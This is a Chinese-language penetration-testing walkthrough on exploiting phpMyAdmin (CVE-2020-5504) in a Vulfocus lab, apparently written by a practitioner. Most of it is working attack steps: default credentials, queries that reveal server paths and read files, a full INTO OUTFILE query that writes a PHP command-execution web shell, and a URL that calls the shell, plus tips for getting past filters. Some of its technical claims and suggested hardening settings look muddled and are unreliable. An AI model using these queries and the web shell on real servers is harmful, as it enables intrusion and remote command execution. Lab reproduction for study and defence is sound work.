1. 漏洞背景与环境搭建
phpMyAdmin作为最流行的MySQL数据库管理工具之一,长期受到安全研究人员的关注。CVE-2020-5504这个漏洞的特别之处在于,它完美展示了如何将一个看似无害的前端显示问题,转化为完整的服务器控制链条。我们先从实验环境搭建说起。
Vulfocus靶场提供了完美的复现环境,IP和端口配置简单明了。启动环境后,你会看到一个标准的phpMyAdmin登录界面,使用默认凭证root/123456即可进入。这里有个细节值得注意:现代phpMyAdmin版本通常会强制修改默认密码,但这个漏洞环境保留了原始配置,这本身就是一种安全隐患。
在实际渗透测试中,我遇到过不少管理员图省事使用弱密码的情况。有次审计某企业系统时,发现他们竟然用"admin/123456"管理着包含百万用户数据的数据库。这种安全意识薄弱的现象,往往就是安全漏洞的开始。
2. 漏洞触发点分析
漏洞的核心在于<pre>标签的异常处理。这个HTML标签本意是用来展示预格式化文本,比如代码片段。但在phpMyAdmin的特定版本中,它成为了SQL注入的突破口。
具体来说,当我们在SQL查询界面输入:
SELECT '<pre>';系统会原样输出这个标签,而不是将其作为HTML元素渲染。这个现象看似普通,实则暴露了关键问题——用户输入未经充分过滤就直接输出。我在测试时发现,如果配合特定字符编码,甚至可以绕过部分过滤机制。
更危险的是,phpMyAdmin的查询结果显示机制存在缺陷。当查询结果包含特定格式的字符串时,会触发解析异常。有次我在客户现场测试,就利用类似的特性成功注入了恶意脚本。
3. 信息收集与路径探测
成功的攻击往往建立在充分的信息收集基础上。在这个漏洞利用过程中,我们需要获取两个关键路径:
- MySQL数据目录:
SELECT @@datadir;- MySQL安装路径:
SELECT @@basedir;在我的实战经验中,不同系统的默认路径差异很大。比如CentOS通常是/var/lib/mysql,而Windows服务器可能是C:\ProgramData\MySQL。有次遇到个特别的环境,管理员把数据库放在了/home目录下,花了我不少时间才找到。
确认路径后,可以用load_file函数验证网站绝对路径:
SELECT load_file('/var/www/html/pma/index.php');这个技巧我在多个渗透测试项目中都用过。记得有次目标系统返回了403错误,但通过响应包大小差异(4KB左右),还是成功判断出了有效路径。
4. 漏洞利用与Webshell写入
掌握了路径信息后,真正的攻击开始了。利用MySQL的INTO OUTFILE功能,我们可以将PHP代码写入web目录:
SELECT '<?php echo \'<pre>\';system($_GET[\'cmd\']); echo \'</pre>\'; ?>' INTO OUTFILE '/var/www/html/pma/shell.php'这个操作有几个技术要点:
- 需要MySQL用户有FILE权限
- 目标目录必须可写
- 要避开可能的过滤机制
我在某次红队演练中就遇到个棘手情况:系统检测到"<?php"字符串会自动拦截。后来改用短标签<?=加上base64编码才绕过防护。
写入成功后,通过访问shell.php就能执行系统命令了。比如列出/tmp目录:
http://target/pma/shell.php?cmd=ls+/tmp5. 防御建议与修复方案
站在防御者角度,我有几点实用建议:
- 及时更新phpMyAdmin到最新版本
- 限制MySQL用户的FILE权限
- 配置open_basedir限制PHP访问范围
- 对SQL查询结果进行严格的输出编码
有次帮客户做安全加固时,我们发现除了升级外,修改phpMyAdmin的配置文件限制导出功能也很有效。具体是在config.inc.php中添加:
$cfg['ExecTimeLimit'] = 300; $cfg['Export']['lock_tables'] = true;6. 漏洞利用的延伸思考
这个漏洞的利用过程给我最大的启示是:安全是一个链条,任何一个环节的疏忽都可能导致全线崩溃。从最初的<pre>标签显示异常,到最后的系统命令执行,中间每个步骤都值得深入研究。
在实际渗透测试中,我经常遇到各种变体情况。比如有的环境禁用了INTO OUTFILE,但可以通过日志文件写入Webshell;有的服务器配置了严格的权限,但可以通过慢查询日志实现渗透。关键是要灵活运用各种技术手段。
记得有次特别有意思的案例:目标系统所有防护都很完善,但通过分析phpMyAdmin的错误日志,我们发现了管理员的操作记录,最终通过社会工程学完成了突破。这再次证明,在安全领域,技术手段和人的因素同样重要。